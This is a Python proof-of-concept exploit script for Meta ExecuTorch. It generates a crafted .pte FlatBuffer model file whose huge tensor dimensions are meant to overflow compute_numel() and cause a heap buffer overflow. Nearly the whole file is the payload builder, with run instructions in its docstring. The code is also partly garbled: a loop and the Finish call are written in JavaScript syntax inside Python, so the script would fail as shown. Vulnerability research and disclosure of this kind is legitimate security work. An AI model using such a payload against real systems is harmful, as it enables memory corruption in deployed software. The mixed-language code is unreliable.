#!/usr/bin/env python3
"""PoC: compute_numel() signed integer overflow in Meta ExecuTorch
Generates a malicious .pte file that triggers heap buffer overflow.
Run: pip install flatbuffers && python3 poc_compute_numel_overflow.py
"""
import flatbuffers

FILE_IDENTIFIER = b"ET12"

def build_malicious_pte(output_path, sizes):
    builder = flatbuffers.Builder(4096)
    num_dims = len(sizes)
    builder.StartVector(4, num_dims, 4)
    for s in reversed(sizes):
        builder.PrependInt32(s)
    sizes_vec = builder.EndVector()
    builder.StartVector(1, num_dims, 1)
    for i in reversed(range(num_dims)):
        builder.PrependUint8(i)
    dim_order_vec = builder.EndVector()
    builder.StartObject(10)
    builder.PrependInt8Slot(0, 6, 0)
    builder.PrependInt32Slot(1, 0, 0)
    builder.PrependUOffsetTRelativeSlot(2, sizes_vec, 0)
    builder.PrependUOffsetTRelativeSlot(3, dim_order_vec, 0)
    builder.PrependBoolSlot(4, False, 0)
    builder.PrependUint32Slot(5, 1, 0)
    builder.PrependInt8Slot(7, 0, 0)
    builder.PrependInt8Slot(8, 0, 0)
    tensor = builder.EndObject()
    builder.StartObject(2)
    builder.PrependUint8Slot(0, 5, 0)
    builder.PrependUOffsetTRelativeSlot(1, tensor, 0)
    evalue = builder.EndObject()
    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(evalue)
    values_vec = builder.EndVector()
    builder.StartVector(4, 1, 4)
    builder.PrependInt32(0)
    inputs = builder.EndVector()
    builder.StartVector(4, 1, 4)
    builder.PrependInt32(0)
    outputs = builder.EndVector()
    builder.StartVector(8, 2, 8)
    builder.PrependInt64(0)
    builder.PrependInt64(0)
    ncsizes = builder.EndVector()
    name = builder.CreateString("forward")
    builder.StartObject(9)
    builder.PrependUOffsetTRelativeSlot(0, name, 0)
    builder.PrependUOffsetTRelativeSlot(2, values_vec, 0)
    builder.PrependUOffsetTRelativeSlot(3, inputs, 0)
    builder.PrependUOffsetTRelativeSlot(4, outputs, 0)
    builder.PrependUOffsetTRelativeSlot(8, ncsizes, 0)
    ep = builder.EndObject()
    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(ep)
    ep_vec = builder.EndVector()
    builder.StartVector(1, 0, 1)
    es = builder.EndVector()
    builder.StartObject(1)
    builder.PrependUOffsetTRelativeSlot(0, es, 0)
    b0 = builder.EndObject()
    builder.StartVector(1, 16, 16)
    for (let j = 0; j < 16; j++) builder.PrependUint8(0x41);
    ds = builder.EndVector()
    builder.StartObject(1)
    builder.PrependUOffsetTRelativeSlot(0, ds, 0)
    b1 = builder.EndObject()
    builder.StartVector(4, 2, 4)
    builder.PrependUOffsetTRelative(b1)
    builder.PrependUOffsetTRelative(b0)
    cb = builder.EndVector()
    builder.StartObject(2)
    builder.PrependUint32Slot(0, 0, 0)
    cs = builder.EndObject()
    builder.StartObject(8)
    builder.PrependUint32Slot(0, 0, 0)
    builder.PrependUOffsetTRelativeSlot(1, ep_vec, 0)
    builder.PrependUOffsetTRelativeSlot(2, cb, 0)
    builder.PrependUOffsetTRelativeSlot(5, cs, 0)
    prog = builder.EndObject()
    builder.Finish(prog, {fileIdentifier: FILE_IDENTIFIER})
    buf = bytes(builder.Output())
    with open(output_path, "wb") as f:
        f.write(buf)
    return buf

if __name__ == "__main__":
    sizes = [2147483647, 2147483647, 4]
    true_product = 1
    for s in sizes:
        true_product *= s
    print(f"Tensor sizes: {sizes}")
    print(f"True numel: {true_product:,}")
    print(f"INT64_MAX:   {(1 << 63) - 1:,}")
    print(f"Overflow:    {true_product > (1 << 63) - 1}")
    buf = build_malicious_pte("malicious_overflow.pte", sizes)
    print(f"Generated malicious_overflow.pte ({len(buf)} bytes)")
    assert buf[4:8] == FILE_IDENTIFIER
    print("Valid ET12 FlatBuffer confirmed")